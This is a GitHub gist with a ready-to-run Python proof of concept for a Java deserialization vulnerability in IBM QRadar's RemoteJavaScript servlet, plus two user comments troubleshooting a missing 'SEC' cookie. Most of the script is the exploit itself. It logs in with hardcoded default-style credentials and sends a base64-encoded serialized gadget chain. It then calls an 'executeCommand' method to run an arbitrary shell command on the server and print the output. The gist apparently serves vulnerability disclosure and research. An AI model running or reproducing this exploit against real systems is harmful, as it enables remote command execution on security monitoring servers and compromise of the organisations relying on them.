Created
April 16, 2020 08:12
-
-
Save ykoster/90d3d13fe70c357ae93f5ddb3faee4f2 to your computer and use it in GitHub Desktop.
Proof of concept for Java deserialization vulnerability in QRadar RemoteJavaScript Servlet
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import json | |
import random | |
import urllib3 | |
import requests | |
import urllib.parse | |
base_url='https://127.0.0.1/' | |
username='admin' | |
password='initial' | |
verifycert=False | |
cmd='id' | |
gadget="""rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh | |
cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc30AAAABABRqYXZhLnV0aWwuQ29t | |
cGFyYXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZh | |
L2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyABpvcmcucHl0aG9uLmNvcmUuUHlG | |
dW5jdGlvbj/mX1lrZ5crAgAITAALX19jbG9zdXJlX190ABpMb3JnL3B5dGhvbi9jb3JlL1B5T2Jq | |
ZWN0O0wACF9fY29kZV9fdAAYTG9yZy9weXRob24vY29yZS9QeUNvZGU7WwAMX19kZWZhdWx0c19f | |
dAAbW0xvcmcvcHl0aG9uL2NvcmUvUHlPYmplY3Q7TAAIX19kaWN0X19xAH4ACEwAB19fZG9jX19x | |
AH4ACEwAC19fZ2xvYmFsc19fcQB+AAhMAApfX21vZHVsZV9fcQB+AAhMAAhfX25hbWVfX3QAEkxq | |
YXZhL2xhbmcvU3RyaW5nO3hyABhvcmcucHl0aG9uLmNvcmUuUHlPYmplY3Taqmp/XF0LewIAAkwA | |
CmF0dHJpYnV0ZXN0ABJMamF2YS9sYW5nL09iamVjdDtMAAdvYmp0eXBldAAYTG9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B+AFtzcQB+AF8AAAAAP0AAAHBweHEAfgBOcQB+ACB3BAAAAANzcgARamF2YS5sYW5n | |
LkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIA | |
AHhwAAAAAXEAfgCEeA==""" | |
if not verifycert: | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
response = requests.get(f'{base_url}console/', | |
verify=verifycert, allow_redirects=False, | |
auth=requests.auth.HTTPBasicAuth(username, password)) | |
if response.status_code != 302: | |
print(f"failed login as '{username}'") | |
exit(1) | |
cookies = response.cookies | |
headers = {'SEC': cookies['SEC']} | |
call = {'method': 'qradar.validateChangesAssetConfiguration', 'QRadarCSRF': cookies['QRadarCSRF'], | |
'id': f'{random.randint(0, 99999999)}', | |
'params': {'changedSettings': urllib.parse.quote(gadget)} } | |
response = requests.post(f'{base_url}console/remoteJavaScript', | |
verify=verifycert, cookies=cookies, | |
headers=headers, data=json.dumps(call)) | |
call = {'method': 'qradar.executeCommand', 'QRadarCSRF': cookies['QRadarCSRF'], | |
'id': f'{random.randint(0, 99999999)}', | |
'params': {'command': cmd, 'timeoutSeconds': '10'} } | |
response = requests.post(f'{base_url}console/remoteJavaScript', | |
verify=verifycert, cookies=cookies, | |
headers=headers, data=json.dumps(call)) | |
try: | |
result = json.loads(response.text)['result'] | |
if len(result['stdOut']) > 0: | |
print(result['stdOut']) | |
if len(result['stdErr']) > 0: | |
print(result['stdErr']) | |
except: | |
print(response.text) |
Hi @pacho110791,
Do you get a SEC
cookie when logging into QRadar? It looks like you're not getting any.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hi
I tried to use the code, but it show me the next error:
File "./qradar.py", line 95, in
headers = {'SEC': cookies['SEC']}
File "/usr/lib/python3/dist-packages/requests/cookies.py", line 328, in getitem
return self._find_no_duplicates(name)
File "/usr/lib/python3/dist-packages/requests/cookies.py", line 399, in _find_no_duplicates
raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path))
KeyError: "name='SEC', domain=None, path=None"
Did you present any errors of this type?